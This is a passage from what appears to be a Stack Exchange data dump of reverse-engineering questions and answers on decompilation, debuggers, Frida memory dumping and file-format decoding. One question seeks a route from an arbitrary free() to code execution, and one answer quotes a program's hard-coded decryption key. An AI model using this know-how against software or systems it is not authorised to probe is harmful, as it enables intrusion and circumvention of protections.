  <row Id="26251" PostTypeId="2" ParentId="26220" CreationDate="2020-11-05T07:56:32.760" Score="0" Body="&lt;p&gt;Now you can use AssetsBundleExtractor (Windows)&#xA;&lt;a href=&quot;https://github.com/DerPopo/UABE/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/DerPopo/UABE/releases&lt;/a&gt;&#xA;to open and decompress the file data_a.&lt;/p&gt;&#xA;" OwnerUserId="34077" LastActivityDate="2020-11-05T07:56:32.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26252" PostTypeId="2" ParentId="26230" CreationDate="2020-11-05T09:28:51.910" Score="1" Body="&lt;p&gt;If I understand your question correctly, it sounds like you want to use the name of the file you're analyzing to determine the name of the file your script outputs. If so, &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/flatapi/FlatProgramAPI.html#getProgramFile()&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;getProgramFile()&lt;/code&gt;&lt;/a&gt; is probably the easiest way to grab it.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2020-11-05T09:28:51.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26253" PostTypeId="1" CreationDate="2020-11-05T11:37:41.940" Score="1" ViewCount="395" Body="&lt;p&gt;I'm somehow newbe in reverse engineering and currently I'm reading &lt;a href=&quot;https://github.com/ckonstantinou/re4b/blob/master/RE4B-EN.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;RE4B&lt;/a&gt; book.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pHUSw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pHUSw.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the image above:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I can't figure out the role of &lt;code&gt;s&lt;/code&gt; in the functions &lt;code&gt;f1&lt;/code&gt; and &lt;code&gt;f2&lt;/code&gt;. As far as I know, based on the last line in the image (i.e. &lt;code&gt;s     db 'world', 0xa, 0&lt;/code&gt;), the variable &lt;code&gt;s&lt;/code&gt; is a pointer to the beginning of &lt;em&gt;world&lt;/em&gt; string. So, why this value is over-writed with &lt;em&gt;-1C&lt;/em&gt; in the functions? (&lt;code&gt;s = dword ptr -1Ch&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;As you know, we can use stack to pass function arguments. The question is why the compiler used &lt;code&gt;mov [esp+1Ch+s], offset s ; &amp;quot;world\n&amp;quot;&lt;/code&gt; instead of &lt;code&gt;mov [esp], offset s ; &amp;quot;world\n&amp;quot;&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20930" LastActivityDate="2020-11-05T11:37:41.940" Title="How to parse objdump output data?" Tags="|disassembly|objdump|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26254" PostTypeId="2" ParentId="22082" CreationDate="2020-11-05T15:52:38.057" Score="0" Body="&lt;p&gt;You can also do this with a Ghidra script:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Iterate through the instructions with an &lt;code&gt;InstructionIterator&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the instruction's &lt;code&gt;FlowType&lt;/code&gt; with &lt;code&gt;getFlowType()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Ghidra's &lt;code&gt;isCall()&lt;/code&gt; and &lt;code&gt;isConditional()&lt;/code&gt; &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/symbol/FlowType.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;methods&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ghidra is free, open-source and this approach works on various architectures.&lt;/p&gt;&#xA;" OwnerUserId="21876" LastActivityDate="2020-11-05T15:52:38.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26255" PostTypeId="1" CreationDate="2020-11-05T20:20:21.127" Score="1" ViewCount="15490" Body="&lt;p&gt;I have decompiled a pyinstaller exe and then decompiled the .pyc source inside it. only problem is the source is this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import secretmodule&#xA;secretmodule.main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Annoying, I know. i found secretmodule but it is a .pyd and the decompiler I use only decompiles pyo or pyc. I searched how to decompile a pyd but it said it was almost impossible and I assumed pyinstaller makes pyd's differently so I continued.&lt;/p&gt;&#xA;&lt;p&gt;How do I decompile a pyd file made specifically by pyinstaller&lt;/p&gt;&#xA;" OwnerUserId="34864" LastActivityDate="2020-11-11T11:30:58.977" Title="How to turn .pyd files generated by pyinstaller into source?" Tags="|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26256" PostTypeId="1" AcceptedAnswerId="26260" CreationDate="2020-11-05T20:58:31.843" Score="0" ViewCount="453" Body="&lt;p&gt;So I am currently in the stages of creating binexact version of functions in decompiled code. I noticed that in this function the &lt;code&gt;rep movsd&lt;/code&gt; is called and logically this is translated as Qmemcpy/memcpy when transformed to Pcode in IDA. In order to bin exact this , I cannot use memcopy because a function will be called and the code wont be bin exact. Is there a way to try to force the use of &lt;code&gt;rep movsd&lt;/code&gt; ? I understand this is somewhat compiler dependent, but I was thinking I could write this differently to force the same effect.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;C code This is what I need to change to match original assembly&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BOOL NetSendCmdReq2(BYTE bCmd, BYTE mast, BYTE pnum, TCmdGItem *p)&#xA;{&#xA;    DWORD ticks;&#xA;    TCmdGItem cmd;&#xA;&#xA;    memcpy(&amp;amp;cmd, p, sizeof(cmd));&#xA;    cmd.bCmd = bCmd;&#xA;    cmd.bPnum = pnum;&#xA;    cmd.bMaster = mast;&#xA;&#xA;    ticks = GetTickCount();&#xA;    if (!cmd.dwTime) {&#xA;        cmd.dwTime = ticks;&#xA;    } else if (ticks - cmd.dwTime &amp;gt; 5000) {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    multi_msg_add((BYTE *)&amp;amp;cmd.bCmd, sizeof(cmd));&#xA;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Compare Assembly: (This is what the C above compiles to)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;sub esp, 0x28&#xA;push ebx&#xA;push esi&#xA;push 0x26&#xA;lea eax, [ebp-0x28]&#xA;push [ebp+0x10]&#xA;mov bl, dl&#xA;mov esi, ecx&#xA;push eax&#xA;call &amp;lt;imm_fn&amp;gt; &amp;lt;------ This should be rep movsd rather than a call.&#xA;mov al, [ebp+0x0C]&#xA;add esp, 0x0C&#xA;mov [ebp-0x26], al&#xA;mov al, [ebp+0x08]&#xA;test esi, esi&#xA;mov [ebp-0x28], bl&#xA;mov [ebp-0x27], al&#xA;jnz $+0xF&#xA;and [ebp-0x0E], esi&#xA;mov dl, 0x26&#xA;lea ecx, [ebp-0x28]&#xA;call &amp;lt;imm_fn&amp;gt;&#xA;jmp $+0x25&#xA;call [&amp;lt;indir_fn&amp;gt;]&#xA;cmp dword ptr [ebp-0x0E], 0x00&#xA;jnz $+0x5&#xA;mov [ebp-0x0E], eax&#xA;jmp $+0xA&#xA;sub eax, [ebp-0x0E]&#xA;cmp eax, 0x1388&#xA;jnle $+0xA&#xA;mov dl, 0x26&#xA;lea ecx, [ebp-0x28]&#xA;call &amp;lt;imm_fn&amp;gt;&#xA;&#xA;pop esi&#xA;pop ebx&#xA;leave&#xA;ret 0x0C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Origional Assembly : This is what should be matched .&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push ebp &#xA;mov ebp, esp&#xA;sub esp, 0x28&#xA;&#xA;push esi&#xA;mov esi, [ebp+0x10]&#xA;push edi&#xA;mov eax, ecx&#xA;push 0x09&#xA;lea edi, [ebp-0x28]&#xA;pop ecx&#xA;rep movsd &amp;lt; ----- Notice this doesn't make an actual call.&#xA;mov cl, [ebp+0x0C]&#xA;movsw  &#xA;mov [ebp-0x26], cl&#xA;mov cl, [ebp+0x08]&#xA;test eax, eax&#xA;mov [ebp-0x28], dl&#xA;mov [ebp-0x27], cl&#xA;jnz $+0xF&#xA;and [ebp-0x0E], eax&#xA;mov dl, 0x26&#xA;lea ecx, [ebp-0x28]&#xA;call &amp;lt;imm_fn&amp;gt;&#xA;jmp $+0x25&#xA;call [&amp;lt;indir_fn&amp;gt;]&#xA;cmp dword ptr [ebp-0x0E], 0x00&#xA;jnz $+0x5&#xA;mov [ebp-0x0E], eax&#xA;jmp $+0xA&#xA;sub eax, [ebp-0x0E]&#xA;cmp eax, 0x1388&#xA;jnle $+0xA&#xA;mov dl, 0x26&#xA;lea ecx, [ebp-0x28]&#xA;call &amp;lt;imm_fn&amp;gt;&#xA;pop edi&#xA;pop esi&#xA;&#xA;leave&#xA;ret 0x0C &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2020-11-06T11:43:10.493" Title="Converting rep movsd to to C without memcpy" Tags="|assembly|decompilation|c|functions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26257" PostTypeId="1" AcceptedAnswerId="26258" CreationDate="2020-11-06T06:17:55.630" Score="2" ViewCount="973" Body="&lt;p&gt;How to reverse engineer Python scripts turned into binaries with &lt;a href=&quot;https://cx-freeze.readthedocs.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;cx_Freeze&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="34864" LastEditorUserId="60" LastEditDate="2020-11-09T08:22:09.480" LastActivityDate="2020-11-09T08:22:09.480" Title="How to reverse engineer cx_Freeze exe's?" Tags="|decompilation|python|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26258" PostTypeId="2" ParentId="26257" CreationDate="2020-11-06T06:18:14.020" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;find the &lt;code&gt;library.zip&lt;/code&gt; inside the &lt;code&gt;lib&lt;/code&gt; folder included&lt;/li&gt;&#xA;&lt;li&gt;extract &lt;code&gt;EXENAME__main__.pyc&lt;/code&gt; (EXENAME is the name of the exe)&lt;/li&gt;&#xA;&lt;li&gt;run &lt;code&gt;pip install decompyle3&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;run &lt;code&gt;decompyle3 EXENAME__main__.pyc&lt;/code&gt; and the source will be printed onto the screen&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34864" LastEditorUserId="245" LastEditDate="2020-11-06T09:12:00.927" LastActivityDate="2020-11-06T09:12:00.927" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26259" PostTypeId="2" ParentId="14116" CreationDate="2020-11-06T08:41:30.910" Score="2" Body="&lt;p&gt;Frida is the way to go, you can simply do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;memorydump: function (address, size) {&#xA;    Memory.protect(ptr(address), size, &amp;quot;rwx&amp;quot;);&#xA;    var a = Memory.readByteArray(ptr(address),size-1000);&#xA;    return a;&#xA;}&#xA;&#xA;moduleaddress: function (lib){&#xA;  try{&#xA;&#xA;    var ret = [];&#xA;    var module = Process.findModuleByName(lib);&#xA;    var address = Module.findBaseAddress(lib);&#xA;    var sz = module.size;&#xA;  &#xA;  ret.push({&#xA;    &amp;quot;addr&amp;quot;: address,&#xA;    &amp;quot;size&amp;quot;: sz&#xA;  });&#xA;  return ret;&#xA;}&#xA;catch(err){&#xA;  console.log('[!] Error: '+err);&#xA;}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you are not comfortable with Frida you can use a wrapper:&#xA;&lt;a href=&quot;https://github.com/Ch0pin/medusa&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Ch0pin/medusa&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;dumping the memory will be simply as: medusa&amp;gt;memops package_name libname.so&lt;/p&gt;&#xA;&lt;p&gt;and then just type dump :)&lt;/p&gt;&#xA;" OwnerUserId="30326" LastActivityDate="2020-11-06T08:41:30.910" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26260" PostTypeId="2" ParentId="26256" CreationDate="2020-11-06T11:43:10.493" Score="0" Body="&lt;p&gt;here is a sample code that will emit rep movsd instead of memcpy()  function&lt;/p&gt;&#xA;&lt;p&gt;the src const char * is deliberately kept large enough to avoid unrolling and using  simple mov [dest++] ,const&lt;/p&gt;&#xA;&lt;p&gt;source&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat memcopin.cpp&#xA;#include &amp;lt;memory.h&amp;gt;&#xA;#pragma intrinsic( memcpy )&#xA;&#xA;char *src =&amp;quot;\&#xA;I am Source And I Will be truncated by memcpy\n\&#xA;I am Source And I Will be truncated by memcpy\n&amp;quot;;&#xA;&#xA;char dest[128];&#xA;&#xA;int main(void) {&#xA;    memcpy(dest,src,64);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;compiled and linked with vscommunity 2017 dev cmd prompt as x86 on x86&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /Zi /W4 /analyze /EHsc /Od /nologo memcopin.cpp /link /release&#xA;memcopin.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;executed under debugger cdb.exe(windbg console) awk is not a necessity it is there to get only relevent output and awk is availble for windows x86 and x64&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &amp;quot;g memcopin!main;uf .;pt;da /c 64 poi(src);da /c 64 dest;q&amp;quot; memcopin.exe |awk &amp;quot;/Reading/,/quit:/&amp;quot;&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'g memcopin!main;uf .;pt;da /c 64 poi(src);da /c 64 dest;q'&#xA;disassembly  of main()&#xA;&#xA;memcopin!main:&#xA;01291000 55              push    ebp&#xA;01291001 8bec            mov     ebp,esp&#xA;01291003 56              push    esi&#xA;01291004 57              push    edi&#xA;01291005 b910000000      mov     ecx,10h&#xA;0129100a 8b3500902d01    mov     esi,dword ptr [memcopin!src (012d9000)]&#xA;01291010 bfe0992d01      mov     edi,offset memcopin!dest (012d99e0)&#xA;01291015 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]&#xA;01291017 33c0            xor     eax,eax&#xA;01291019 5f              pop     edi&#xA;0129101a 5e              pop     esi&#xA;0129101b 5d              pop     ebp&#xA;0129101c c3              ret&#xA;src &#xA;012d0190  &amp;quot;I am Source And I Will be truncated by memcpy.I am Source And I Will be truncated by memcpy.&amp;quot;&#xA;dest&#xA;012d99e0  &amp;quot;I am Source And I Will be truncated by memcpy.I am Source And I &amp;quot;&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-11-06T11:43:10.493" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26261" PostTypeId="1" CreationDate="2020-11-06T17:12:37.540" Score="0" ViewCount="116" Body="&lt;p&gt;While doing my first code auditing as a novice vulnerability resarchers I managed to stumble upon&#xA;my first free() in my target.&#xA;I managed to find a candiate location where I can control this value and thus trick my target to free any address.&lt;/p&gt;&#xA;&lt;p&gt;Given I can turn this free() to an infoleak, how do I proceed from here with getting code execution?&lt;/p&gt;&#xA;&lt;p&gt;Should I read Malloc-Demaleficarum and follow one of houses in order to trick malloc into returning my fake chunk? (i can call this free many times once i defeated ASLR).&lt;/p&gt;&#xA;&lt;p&gt;Any hints and advice will be very welcome, I'm looking for the methodolodgy rather than a full step-by-step solution.&lt;/p&gt;&#xA;" OwnerUserId="34866" LastActivityDate="2020-11-06T17:12:37.540" Title="I found an arbitrary free, (free(&lt;abitrary address&gt;)), managed to locate a candidate address I wish to free, how do I proceed from here?" Tags="|exploit|heap|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26263" PostTypeId="2" ParentId="26101" CreationDate="2020-11-07T03:31:51.713" Score="1" Body="&lt;p&gt;The entire thing seems to be protobuf after doing the initial unwrapping with urldecode and base64 decode. &lt;code&gt;grp1&lt;/code&gt; was a timestamp, but I'm not yet sure what the 32-bit floats are used for. Should be easier to go forward now that the format is known, though.&lt;/p&gt;&#xA;&lt;p&gt;I found this tool helpful decoding the data: &lt;a href=&quot;https://github.com/omarroth/protodec&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/omarroth/protodec&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; echo 'CkUKGkNNZmY1TkhObi1zQ0ZWT0h3Z0VkaExJQ0xnEidDSlB0bG9UTG4tc0NGWmhpaXdvZDFxOE5fdzE1OTc1NzY4NzU4Mzg%3D' | php -r 'echo urldecode(fgets(STDIN));' | ./protodec -bp | jq&#xA;{&#xA;  &amp;quot;1:0:embedded&amp;quot;: {&#xA;    &amp;quot;1:0:base64&amp;quot;: {&#xA;      &amp;quot;1:0:varint&amp;quot;: 1597576876470215,&#xA;      &amp;quot;2:1:float32&amp;quot;: 7.14585257493996e-38,&#xA;      &amp;quot;3:2:float32&amp;quot;: 2.971713153332445e-11&#xA;    },&#xA;    &amp;quot;2:1:string&amp;quot;: &amp;quot;CJPtloTLn-sCFZhiiwod1q8N_w1597576875838&amp;quot;&#xA;  }&#xA;}&#xA;&#xA;# the left part of the above string&#xA;&amp;gt; echo 'CJPtloTLn-sCFZhiiwod1q8N_w' | ./protodec -bp | jq&#xA;{&#xA;  &amp;quot;1:0:varint&amp;quot;: 1597576176842387,&#xA;  &amp;quot;2:1:float32&amp;quot;: 1.3422299960259732e-32,&#xA;  &amp;quot;3:2:float32&amp;quot;: -1.883341397915719e+38&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19854" LastActivityDate="2020-11-07T03:31:51.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26264" PostTypeId="1" CreationDate="2020-11-07T03:32:54.763" Score="1" ViewCount="1506" Body="&lt;p&gt;I want to set a breakpoint when the register EAX = 00000001&lt;/p&gt;&#xA;" OwnerUserId="34871" LastActivityDate="2021-06-27T20:04:15.400" Title="IDA PRO: How to set conditional breakpoint on a register value?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26265" PostTypeId="2" ParentId="26264" CreationDate="2020-11-07T08:02:16.520" Score="1" Body="&lt;p&gt;Do you mean you want a breakpoint to fire every time &lt;code&gt;eax&lt;/code&gt; is &lt;code&gt;1&lt;/code&gt;, no matter what address? That's not possible with any debugger. If you mean you want to set a breakpoint &lt;strong&gt;at a particular address&lt;/strong&gt; that only fires when &lt;code&gt;eax&lt;/code&gt; is &lt;code&gt;1&lt;/code&gt;, that's doable.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set a breakpoint on some instruction with &lt;code&gt;F2&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Right-click on the instruction and choose &lt;code&gt;Edit breakpoint...&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Write &lt;code&gt;EAX == 1&lt;/code&gt; in the &lt;code&gt;Condition&lt;/code&gt; field on the dialog box.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The &lt;code&gt;Edit breakpoint&lt;/code&gt; dialog is described in great detail in the IDA manual. Search for &amp;quot;Edit breakpoint&amp;quot;; there are several pages describing it.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-07T08:02:16.520" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26266" PostTypeId="1" CreationDate="2020-11-07T18:16:32.380" Score="2" ViewCount="660" Body="&lt;p&gt;I want a breakpoint when the EAX record == 1. here's an IDC script that does this, but it is very slow. does anyone have a faster script or plugin that does this?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;static main()&#xA;{&#xA;    for(;;)&#xA;    {&#xA;        StepInto();&#xA;         &#xA;        if (GetDebuggerEvent(WFNE_SUSP, -1) == STEP)&#xA;        {&#xA;            if (GetRegValue(&amp;quot;EAX&amp;quot;) == 0) &#xA;            {&#xA;                msg(&amp;quot;EAX:%08Xh\n&amp;quot;, eax);&#xA;                break;&#xA;            }&#xA;        }        &#xA;    }&#xA;    PauseProcess();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34871" LastEditorUserId="14622" LastEditDate="2020-11-08T03:54:29.467" LastActivityDate="2020-11-08T03:54:29.467" Title="IDA PRO: How to set conditional breakpoint on a EAX register value?" Tags="|ida|" AnswerCount="1" CommentCount="1" ClosedDate="2021-06-28T21:41:09.133" ContentLicense="CC BY-SA 4.0" />
  <row Id="26267" PostTypeId="2" ParentId="26266" CreationDate="2020-11-07T19:21:41.087" Score="4" Body="&lt;p&gt;What you're asking for is not compatible with the way debugging works on x86. It has limited debugging facilities; you can set hardware breakpoints on read or write access to up to four memory locations, and you can set software or hardware breakpoints when executing particular address. There's nothing in the x86 debug interface that allows you to tell the processor to stop executing when a register obtains a particular value. What you've done with single-stepping is the closest you'll get with the x86 debug interface. If you want something with better performance, look into writing a plugin for a dynamic binary instrumentation (DBI) framework such as Intel PIN or DynamoRIO.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-07T19:21:41.087" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26271" PostTypeId="2" ParentId="19882" CreationDate="2020-11-09T02:51:46.230" Score="0" Body="&lt;h1&gt;Create an input/output mapping to allow writing to a non-mapped file&lt;/h1&gt;&#xA;&lt;p&gt;To &lt;strong&gt;allow writing&lt;/strong&gt; up to &lt;code&gt;64 byte&lt;/code&gt; starting at &lt;code&gt;offset 0x00000000&lt;/code&gt;, map changes in radare2 &lt;strong&gt;to &lt;code&gt;file descriptor 3&lt;/code&gt;&lt;/strong&gt; (the file opened in radare2).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; om 3 0x0 64&#xA;[0x00000000]&amp;gt; om&#xA;1 fd: 3 +0x00000000 0x00000000 - 0x0000000b rwx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Explanation&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;An empty file&lt;/strong&gt; (as created by &lt;code&gt;touch&lt;/code&gt;) &lt;strong&gt;has no input/output mappings&lt;/strong&gt; (even when opened with in &lt;code&gt;write mode&lt;/code&gt;).&#xA;To confirm no region has been mapped, you can list all defined IO maps with the radare2-command &lt;code&gt;om&lt;/code&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;To create an i/o-mapping use &lt;code&gt;om&lt;/code&gt; with parameters:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;om fd vaddr [size] [paddr] [rwx] [name]  create new io map&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&lt;pre&gt;radare2 -w test_file&#xA; -- What has been executed cannot be unexecuted&#xA;[0x00000000]&amp;gt; w This won't be written anywhere, because no mapping exists.&#xA;[0x00000000]&amp;gt; om&#xA;[0x00000000]&amp;gt; om 3 0 64&#xA;[0x00000000]&amp;gt; om&#xA; 1 fd: 3 +0x00000000 0x00000000 - 0x0000003f rwx &#xA;[0x00000000]&amp;gt; w Hello World!&#xA;[0x00000000]&amp;gt; V&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L4ksf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L4ksf.png&quot; alt=&quot;hexview of file after mapping and writing&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34753" LastActivityDate="2020-11-09T02:51:46.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26273" PostTypeId="2" ParentId="26241" CreationDate="2020-11-09T08:31:12.150" Score="2" Body="&lt;p&gt;Since you have access to the program that produces the data, you can use it as an oracle:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a file with empty description strings&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make another with one letter description&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Dump the two files and look for differences. Then start adding longer descriptions and check how it affects the output. Keep going until you figured out the format for all variations you can think of.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-09T08:31:12.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26274" PostTypeId="2" ParentId="26241" CreationDate="2020-11-09T08:42:03.897" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;Open up the binary in IDA Pro.&lt;/li&gt;&#xA;&lt;li&gt;Search for &lt;code&gt;0x534D4544&lt;/code&gt;, which is the 32-bit encoding for the &lt;code&gt;SMED&lt;/code&gt; tag.&lt;/li&gt;&#xA;&lt;li&gt;There are five results; three of them are &lt;code&gt;mov&lt;/code&gt; instructions, two of them are &lt;code&gt;cmp&lt;/code&gt; instructions. The latter two are the interesting ones; this is where it's comparing the subchunk ID tags. They are both in a function called &lt;code&gt;-[SMMDScanner getSMMetadata:signature:]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Immediately you find that it decrypts the data with Blowfish in ECB mode, using the fixed key &amp;quot;u7w58he4746&amp;quot;. (Discard and don't process the first four bytes before decrypting, as those are just the (big-endian) length of the following encrypted data.)&lt;/li&gt;&#xA;&lt;li&gt;Immediately you also see that the decrypted data is returned in an &lt;code&gt;NSString&lt;/code&gt;, which obviously contains XML data from looking at the strings in the surrounding code. E.g. it ensures that the decrypted data begins with &lt;code&gt;&amp;lt;MAGIC&amp;gt;&lt;/code&gt; and ends with &lt;code&gt;&amp;lt;/MAGIC&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2020-11-09T11:57:58.590" LastActivityDate="2020-11-09T11:57:58.590" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26275" PostTypeId="2" ParentId="26211" CreationDate="2020-11-09T11:44:20.997" Score="2" Body="&lt;p&gt;The direct call can be generated by the compiler when it knows that the function comes from a DLL at compile time, or whole program optimization is used. If the target function is not marked as dllimport, the compiler generates a simple call to an external symbol and at link time this external symbol is  resolved to a stub which actually jumps to the DLL import.&#xA;For more info:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/importing-function-calls-using-declspec-dllimport&quot; rel=&quot;nofollow noreferrer&quot;&gt; Importing function calls using __declspec(dllimport)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20100318-00/?p=14563&quot; rel=&quot;nofollow noreferrer&quot;&gt;What is DLL import binding?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-09T11:44:20.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26276" PostTypeId="2" ParentId="20731" CreationDate="2020-11-09T17:10:46.430" Score="2" Body="&lt;p&gt;This can easily be achieved with radare2. I have this version installed&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[rese] r2 -v&#xA;radare2 4.6.0-git 25072 @ linux-x86-64 git.4.4.0-486-ga5e8cf0c9&#xA;commit: a5e8cf0c9bd94e5f8d679e281c486584f23251e3 build: 2020-07-28__11:41:47&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Enable &lt;code&gt;.init_array&lt;/code&gt; in a program as such&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;static void f1(void) __attribute__((constructor));&#xA;static void f2(void) __attribute__((constructor));&#xA;static void f3(void) __attribute__((constructor));&#xA;&#xA;void f1() { puts(__FILE__ &amp;quot;:f1&amp;quot;); }&#xA;void f2() { puts(__FILE__ &amp;quot;:f2&amp;quot;); }&#xA;void f3() { puts(__FILE__ &amp;quot;:f3&amp;quot;); }&#xA;&#xA;int main(int argc, char **argv) {&#xA;    puts(__FILE__ &amp;quot;:main&amp;quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which works as expected&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[rese] make test&#xA;cc     test.c   -o test&#xA;[rese] 